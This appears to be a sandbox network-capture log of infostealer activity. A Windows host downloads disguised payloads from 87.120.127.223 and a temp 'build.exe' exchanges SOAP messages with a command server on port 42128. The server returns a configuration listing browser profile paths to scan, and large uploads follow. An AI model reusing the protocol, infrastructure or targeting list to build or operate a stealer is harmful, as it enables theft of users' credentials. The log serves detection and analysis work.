Oct 15, 2024 19:22:34.538177013 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:34 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 [TRUNCATED] Data Ascii: i[!)0Z]4Xj&X#Op~4l"j0d&YD2~t&vZrH9iyaC!&r#V@.C9\|ICq16&~Dwf%BfTXGj\|Xep~BPI}Qq)=IUX1s%cU2Z),9N2iZ\|}:TNawsSxZ TlUD=`ze1S[_:XV&f/#]!.ze&=/3P=d]Hrt,xIF\'uxw`RQH}/yP`]zjF/cG(Kp88E_4bBW}%]K;Rzyx:Jzz0(Gv"U8)OiL/SATs':?>`G_73s;NWh<nEM>R$yD8wusYELjik[<z`-X@uYDRI6Y$b>o9rw`sqIV,(,/1MRS8NDMRJ+*z]^oA'wuErVgYID(bD?dbBa%`ggC\|\|8@E=\|r1u-Z9oinStQ$X0C<')iHH2]NF)
Oct 15, 2024 19:22:34.538204908 CEST	1236	IN	Data Raw: d7 41 08 aa cd 00 db 2b f4 af bf 5f e6 15 c7 4a 4c 9c 84 18 8a 57 36 11 72 36 fc ca 82 c2 46 fd d8 14 96 b1 90 bb 95 26 d0 e9 bb 56 95 95 ef eb 9e 9c de 2a 6e 79 5c 9a f5 36 05 48 4c b6 2d 87 43 be 1e 2b 12 18 39 97 71 d4 79 2e e6 91 5f 02 2f a1 Data Ascii: A+_JLW6r6F&V*ny\6HL-C+9qy._/=zD>Y%]OZ>8YQTG?W{-6s>@DCBf&Y`7'C^\8EVHF_s5z4O-j751ARd$L>-M'q
Oct 15, 2024 19:22:34.538222075 CEST	1236	IN	Data Raw: 06 90 f7 5a 1f 97 e8 3f ed 62 93 51 3c e7 67 76 ba 6b b6 c6 74 27 96 c2 1f 32 21 fc 7b 0d 1d fd 2a 5c 76 3c a7 ad 6a 2a da 3e 60 72 f8 77 74 3d 87 95 26 58 21 ec d8 7f e9 ef f5 c8 79 76 0c 2b a3 5d 2d 35 e0 f6 36 50 68 86 7e 36 f5 f9 73 13 56 de Data Ascii: Z?bQ<gvkt'2!{\v<j>`rwt=&X!yv+]-56Ph~6sV2"0&cj X#\*>rkGw2z<!-XL&Us4Kf_3XpYHUsVSJi9,_TaRc (i)itG
Oct 15, 2024 19:22:34.538261890 CEST	636	IN	Data Raw: b8 b1 95 29 2f 69 b2 82 78 13 20 7f 88 47 04 26 c2 9a 03 9c 66 b4 bf a1 8c 52 a7 f1 e0 67 3a 73 c2 81 f4 f0 6a 72 7b bc 7f 43 df f9 7e df a8 a4 cc 97 b4 c2 13 17 61 64 41 60 54 83 9b 74 82 35 44 18 57 27 2d c8 12 75 41 ed 24 4b fd 81 55 b9 d0 f5 Data Ascii: )/ix G&fRg:sjr{C~adA`Tt5DW'-uA$KU7p*>0\|[ \1+xBb@TtAG9Cn]i}]@zFk:m4EBgi5+3r-0c&9I~D>[K+
Oct 15, 2024 19:22:34.538278103 CEST	1236	IN	Data Raw: 5f 2d 77 82 fa 1b a9 18 77 fb a1 d5 1a f7 9f 70 9d 6c 68 8c 29 71 79 a5 83 0e 69 a2 f5 19 12 48 42 62 d8 99 f7 55 9c 88 25 36 44 8f 58 d0 a4 a2 a5 a7 32 d8 98 e1 74 5d 89 a1 52 1f 44 04 95 97 b8 af 66 cf c9 39 19 22 40 10 07 09 46 7f 25 7a 8f 6f Data Ascii: _-wwplh)qyiHBbU%6DX2t]RDf9"@F%zolZ,%hJ7DX:5SrR9{bU"sQ*&oS&""9]O{K^D@WEV6+7K@bo3TR0i3\|mZWsWsAD3GR:3nuMO
Oct 15, 2024 19:22:34.538299084 CEST	1236	IN	Data Raw: fc f4 fc 9e 6f 84 84 f8 b6 2a 57 2e 4a 46 d5 ca b3 40 dd 1c 4e 81 e8 22 23 db 6d e6 9a dc 0e 48 cb 13 d0 ea 93 2a 90 5c ed 58 e6 22 19 4a c5 57 3f 29 8a f2 1e a6 e4 b7 8a 7a 7d 40 51 5e 8c b7 c8 68 6b fc 88 8f a4 5f 82 43 20 d6 ce b1 41 d5 53 17 Data Ascii: oW.JF@N"#mH\X"JW?)z}@Q^hk_C AS4T_VeeZ{QEc~rj!'pR"L=>6*(<^CFVl)IUDXU,)8D^Q&`0`3Ev[\]B`
Oct 15, 2024 19:22:34.538315058 CEST	1236	IN	Data Raw: 97 ff 81 d2 a4 59 41 22 5e 50 01 ce f2 48 2c ff 7f 68 9d da ec af 47 8f de 17 c8 68 b3 a5 35 be aa 90 61 01 46 84 97 61 6e e7 46 63 d5 06 7f 3e b9 d2 82 2a 71 93 99 eb 44 a9 7b 08 74 c2 81 4a 60 28 2c 55 9d 4d b4 ec 75 4a b0 c8 a7 e8 2a 9e 38 17 Data Ascii: YA"^PH,hGh5aFanFc>qD{tJ`(,UMuJ8uU[f>m`x.56?)s87<4Ims#rG_?in<iZXswjGbag}JMGxFRg-g:B~qEj5^d&@`
Oct 15, 2024 19:22:34.538331985 CEST	636	IN	Data Raw: 33 c4 9b 07 ac 70 63 6d 90 25 48 88 ac a0 b3 86 96 36 66 87 90 22 e1 da 38 aa de 17 b2 4c a2 20 9a e3 3d d5 d0 13 92 1a ac aa 1b dc 7e 1c cb ad 2b ab 9e 97 e9 3d 34 3b 8f 30 84 53 9d c8 4b a1 95 1a 88 bc 02 7c e3 d7 59 90 ee 6d 44 d0 ca 86 de c1 Data Ascii: 3pcm%H6f"8L =~+=4;0SK\|YmDd\>{)YCG#\|q^/h~h+:T~~]oT?0Z(\|-PDg0{4P;c!LCMw\|@\|V5uSf/Wp@:~-\|d7_A)[!/
Oct 15, 2024 19:22:34.538407087 CEST	1236	IN	Data Raw: a2 e8 b7 eb 5a 94 33 eb cd 18 20 77 51 48 6c da aa e0 b8 a6 80 44 cd 20 a8 03 d3 4c 0b 70 d4 51 67 47 40 5a 73 85 d9 a9 9e 7b ba 0c 32 4c e9 e1 1f 78 4f c5 4a a3 a1 f9 4c c1 c3 33 84 3f a2 04 3f 33 ac 13 ab 7e 45 9b 1a af e6 f6 5e 35 54 b9 ec 96 Data Ascii: Z3 wQHlD LpQgG@Zs{2LxOJL3??3~E^5T:v,e!`bM(8xuxJ@:Q(3.WE%_8:E[ZhIuCmvV)%ylAMFG]s)^?h\!
Oct 15, 2024 19:22:34.538422108 CEST	1236	IN	Data Raw: 39 38 94 05 46 89 ed 74 59 44 e3 0b 80 a4 44 12 69 4a 04 b3 b4 4c e3 58 4e aa 15 ee da d6 fa fa 58 35 61 bb 1a 1b ea 6f 92 a9 db 63 e4 8f ea 33 a8 7c a0 c7 94 ed ea 8a 93 c3 f2 81 29 fc 9f 0e 9a 33 03 b3 51 c4 63 63 4d f4 83 a8 b2 69 6e 15 a7 2e Data Ascii: 98FtYDDiJLXNX5aoc3\|)3QccMin.NT$Ee3P$D@%&_]P*\|5~->W_liVXDN5ylA8`HqU3G1{@@M2"?#_=R @Jhf8BM8F#k
Oct 15, 2024 19:22:34.543210983 CEST	1236	IN	Data Raw: ec 7d 4e 82 78 c8 48 54 52 19 62 75 c4 77 18 17 62 84 61 cf 08 be 66 76 bf 3b 17 2d 6e 4d 1f 08 4b 15 31 a1 06 b5 75 cd eb bf dd 5a e2 5f 42 9b c3 a7 20 13 41 a2 96 07 48 06 e1 49 96 59 cd ca cb 77 46 6b 10 a4 97 c8 ec 3c 3b 1b 36 32 21 3d 4e 2a Data Ascii: }NxHTRbuwbafv;-nMK1uZ_B AHIYwFk<;62!=NyFsQDuA4 FqsfP<uf_uJW[L06B3jvuL#[%sl0NDk_P$9 J*/@}lA@cyg#s24XlwQLM{-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49807	87.120.127.223	80	4832	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:35.881836891 CEST	90	OUT	GET /panel/uploads/Fdzqloat.dat HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
Oct 15, 2024 19:22:36.743638039 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:15:16 GMT ETag: "133c08-6246815889d52" Accept-Ranges: bytes Content-Length: 1260552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 2c 11 1c 0b 3d a0 9c 62 80 d2 4a 61 c5 5a a3 37 1f 44 e9 6f 7f 2c e9 d2 83 d9 b0 05 1d 61 9d 36 15 c8 a9 6f 56 dc fc bf a4 5a 99 c7 b8 fe 47 88 62 38 12 4e 03 be a5 da 47 df 94 f7 54 cb 08 6c af d5 09 1e ca f3 6c 84 c4 1d cb 4c 41 f1 c4 bc 3c 0d 82 9b 21 c1 03 08 a5 54 c3 92 61 d3 a1 b8 e5 fc 57 a3 c7 ed 07 5a 0b d5 c3 c0 e6 6d 57 3f e4 c2 95 c8 62 68 2e f8 ac d6 79 e1 89 cb a3 81 6c 3d 19 b3 85 13 78 48 58 2c ce 91 1c 4d 06 79 ce 99 26 a6 29 32 94 47 48 3c a4 d3 8e 0c ac 32 45 3e da c2 b8 c4 1d fb e6 de 08 f5 59 ba f2 52 b5 e0 06 1e cc 31 a2 a0 82 ba 68 52 5c 4b e8 49 78 5f 73 d0 e8 cf cf f3 3c ce 1c 35 2c 0e a4 fe 5e 8c 14 1a a7 5d 23 85 b4 50 ee 56 08 9d b0 dd a9 de 81 14 42 de 74 d6 5e 15 96 47 5c d1 4d 85 49 f1 91 00 61 ef b0 40 3e a9 51 ca 6a ed a1 b9 12 79 5a 97 70 fa 07 ee b0 5f be b0 af 44 7d 8e 00 58 bf ca 6c 80 4d 44 cc 31 ce 41 a8 b2 3b 17 07 81 18 58 a0 2c 31 75 58 54 50 fd 94 03 b3 e7 0a e5 cf c5 ae ee 1d ae 61 05 69 ec e1 c5 2d b1 4a fb d0 48 05 f1 45 f5 19 4e 9a 98 6b 0d da c6 47 67 [TRUNCATED] Data Ascii: ,=bJaZ7Do,a6oVZGb8NGTllLA<!TaWZmW?bh.yl=xHX,My&)2GH<2E>YR1hR\KIx_s<5,^]#PVBt^G\MIa@>QjyZp_D}XlMD1A;X,1uXTPai-JHENkGgj>`zDc=i 6MAOR#;M(H0^YuWK&Nl$^j9)g`7DIl0zR*^N/zb1ErSA<S$'6jvw;g-J#9S~8f]Qrr?`\89(GPp/1@+uP^~:^TiJH=_1W-+$4B7[7$m12(Qf2Co~rgq&Jb=UmbEuZS6:=%kVwi}Z8\|[6o.SRn^5%(z-PB%F2%<o"CyjX~Uts\<%0:pIM(pc^,Q6l;AjFpoT=htDkgT]ML)~xUQe8PD^Qsz_n@DFx_p\d2%Zw{;$Uq23,
Oct 15, 2024 19:22:36.743721962 CEST	1236	IN	Data Raw: 31 4a 12 88 cf 69 2c 15 8d 30 b7 60 db 06 16 a4 21 40 05 e7 3f 3b 3b bf ab 62 26 60 36 f8 db 71 1a 4e 56 5a 58 26 d7 c9 59 52 7c 47 83 86 fd 47 1f 20 71 2f 4f 73 a5 90 38 f3 e5 1f d5 ae 2d b3 0f 93 b8 c3 39 b5 2c e5 f4 94 d0 f6 5e d0 6d cd 99 d5 Data Ascii: 1Ji,0`!@?;;b&`6qNVZX&YR\|GG q/Os8-9,^m4vkI9}m?rM5\|%QTX$(t"&"=i$}*mzo(]#VNcx9^o5B'nN@L=pRPK<><
Oct 15, 2024 19:22:36.743810892 CEST	424	IN	Data Raw: b6 71 52 58 6b 7b 1d aa 9e 43 eb 2c b5 9e 89 1f 68 3e ad 2d e1 d6 77 39 ec bc c9 14 05 8e 2d a2 ff 18 52 5f a8 18 f6 80 3c 91 19 f0 6a 54 7a 19 08 43 c7 3a fb df 5b fc 51 89 05 97 09 13 a6 40 70 12 f2 aa 26 ac a8 35 ed 02 d2 d7 60 98 8c bf 04 26 Data Ascii: qRXk{C,h>-w9-R_<jTzC:[Q@p&5`&0an/{EB3H]mf`g!W$y#&l"tsIR04xD}U8ARQ,qNV'd3bOP0J2*F,ee-,.pn:\Xvq"ecN
Oct 15, 2024 19:22:36.743844986 CEST	1236	IN	Data Raw: 17 79 04 49 72 0d 38 e3 12 85 0d 55 89 43 b1 9b 0d c3 90 f5 21 9b 64 e4 eb 04 c7 ee 14 7c 94 85 15 02 ee 20 dd 7c 56 a6 aa 7e 9d 1a 02 54 a8 a7 79 54 a5 ce 67 bb 3f 33 9b d6 b0 af 77 fa 0a 58 40 eb b5 1a e5 80 ea 65 ee 82 a3 5e d5 60 5e 3b 19 04 Data Ascii: yIr8UC!d\| \|V~TyTg?3wX@e^`^;mYH\4cmNy?,qMyd',B`x5{r6gGR:B_GZ!]A((sg1LK\|]jA"D6iB,y+_K'
Oct 15, 2024 19:22:36.743877888 CEST	1236	IN	Data Raw: 28 1f 14 18 04 da 41 e8 dd 9f 1d 20 45 86 43 51 52 26 44 54 4f 92 14 8e 2e 17 f7 f7 fb c5 7a e6 6a 09 33 f2 e8 c6 e9 48 d6 f9 b0 ea 98 38 ae d5 b3 a7 55 0b c6 c5 4f 85 5b cc 14 32 c0 94 fe 3b 56 5e 54 82 c7 e4 d6 1b 42 63 6d 80 5d 5a d4 21 7b b2 Data Ascii: (A ECQR&DTO.zj3H8UO[2;V^TBcm]Z!{h[#`~F{FSP!VF!@]1R4<z8Oh@k]iCB{gA=~1ulxoK_&29JN# }d8C`E_`wwL->bs{m(e
Oct 15, 2024 19:22:36.743911982 CEST	424	IN	Data Raw: a9 40 c5 83 93 0b b0 80 cb 1a c9 b1 ff 17 ac 7b f9 60 8f 69 08 aa b4 c3 ee 31 bb 71 5c 0a 84 af f2 9b 99 96 61 7f 35 63 33 2c e1 d9 34 f1 31 8f c9 cf 7f fc 8b 09 a0 d8 35 b5 79 23 a2 41 fb 37 4b 65 42 43 a3 79 0c ad 14 9c a5 63 ce 6a 80 d0 a8 c0 Data Ascii: @{`i1q\a5c3,415y#A7KeBCycj8J/^YyA$Eg6= --O;Z>X:{(*lTSp)aNC<Cr`Y6wMjKru[82XD'
Oct 15, 2024 19:22:36.743957996 CEST	1236	IN	Data Raw: c9 85 66 7c 7e 68 66 6d 48 52 ab d6 03 c3 05 49 b5 1a a9 8f 34 a9 fb 2c b3 51 65 be ec 12 fd 66 97 06 05 27 2b 3b e7 d1 2a 7d f7 5e ee 6c e1 3f 39 f3 39 4a c0 52 f6 4e ad 76 c9 98 ec b4 ed cb 4e 01 37 c9 22 ff 84 0e c5 d7 67 31 98 21 5b a7 23 2c Data Ascii: f\|~hfmHRI4,Qef'+;}^l?99JRNvN7"g1![#,I>L$;9!'2]"Wu9\|)Nsm%DKR,pkSz[c_+ick/@^/,;Uk)fn#[ I'QELe
Oct 15, 2024 19:22:36.744096041 CEST	1236	IN	Data Raw: 56 a7 cd dd 62 f1 1e e1 df e0 01 13 f7 1e dc cd b6 7f 38 78 b6 5a 90 ad 1b fc f4 5e 35 63 e0 3a f6 14 23 88 1b 47 2e e1 30 01 7d 70 d0 6f 7b 4a dd 1b db 84 5c f7 21 4c 5d 9a 79 ed 31 0e fa 2e 05 bd 83 08 56 b2 68 73 fd 25 de 0c 5c be 70 c3 3f 56 Data Ascii: Vb8xZ^5c:#G.0}po{J\!L]y1.Vhs%\p?Vj4`/yWWm){rPZYxJN_ q8eHKu^:<\|v,c-ne{\^knc8\|fDk3W@}l76KG-+MZX_F
Oct 15, 2024 19:22:36.744147062 CEST	1236	IN	Data Raw: eb b4 2c 4a bd fa ea 92 3b 1d ba 0d 14 d2 cd 5f d7 f7 a7 8e c9 b8 2d cf 7d 3d bc d9 25 84 26 b1 b1 03 f7 6b ee 98 4d 7a 62 ca b1 7d b6 92 e2 49 4e 9d d7 63 74 2e ba f9 82 86 14 9f e3 44 f6 6d 28 fc fc 10 e7 e4 46 92 dd c8 dc 15 ce ef c8 5b 32 a1 Data Ascii: ,J;_-}=%&kMzb}INct.Dm(F[24:V\|ACo>JGZdZ'mG1Y\Ul#=^\|6!E~XQi,SatWBdW/D)E`%hyAhF
Oct 15, 2024 19:22:36.744184017 CEST	1236	IN	Data Raw: cc 7a 71 ee 9a 4b 63 fd 12 2c 0b 73 0f ff 83 40 c2 b4 64 a8 e3 39 35 88 52 f6 26 3a 23 6e ce c9 fb 9d c6 9c 51 55 76 4a 6c 9c 05 5b cc 1d 98 f0 93 86 7b 5f 26 30 ae 5d eb c4 28 ac f3 89 85 8a ac e2 b6 1a 27 11 be 94 b9 95 7f b6 05 c2 25 ff 46 a7 Data Ascii: zqKc,s@d95R&:#nQUvJl[{_&0]('%F_r\|>3i"QS=;Dd#q4+:"Slbceji8!a&id7KV94g_MN#KkSYi`+UG/(<,oPP>wW6\Y,
Oct 15, 2024 19:22:36.749598980 CEST	1236	IN	Data Raw: e1 a1 68 91 ed 9d 39 80 45 b0 69 7f b7 c4 52 4f 28 41 f6 2d 21 02 82 5d 29 5f d1 8c 5c c6 34 11 e7 d9 c2 9d 19 c1 b1 23 0d 57 75 10 b8 a9 11 71 1c c4 14 d1 a8 ce 25 1b a4 c7 d0 ba 34 6b 78 68 95 a6 62 b5 cd 3a c3 14 32 d1 9b bc 9c 97 4e fc 4d 40 Data Ascii: h9EiRO(A-!])_\4#Wuq%4kxhb:2NM@@Y~,JeR/!w{:5/\4?xnn[@&,AP<yq~O;dD8A<0>R$zH@pVHo%t81$1\0s2c"Bt$ s)Fp&FR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49809	87.120.127.223	42128	4672	C:\Users\user\AppData\Local\Temp\build.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:36.072583914 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 87.120.127.223:42128 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Oct 15, 2024 19:22:36.925812006 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:36 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Oct 15, 2024 19:22:42.154776096 CEST	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 87.120.127.223:42128 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 15, 2024 19:22:42.489012957 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 8227 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:42 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49867	87.120.127.223	42128	4672	C:\Users\user\AppData\Local\Temp\build.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:46.866909027 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 87.120.127.223:42128 Content-Length: 965840 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 15, 2024 19:22:48.642787933 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:48 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49877	87.120.127.223	42128	4672	C:\Users\user\AppData\Local\Temp\build.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:48.651465893 CEST	242	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 87.120.127.223:42128 Content-Length: 965832 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Oct 15, 2024 19:22:50.394383907 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:50 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49917	87.120.127.223	80	7856	C:\Users\user\AppData\Roaming\Yftssfzf.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:56.331614017 CEST	89	OUT	GET /panel/uploads/Mexuazc.pdf HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
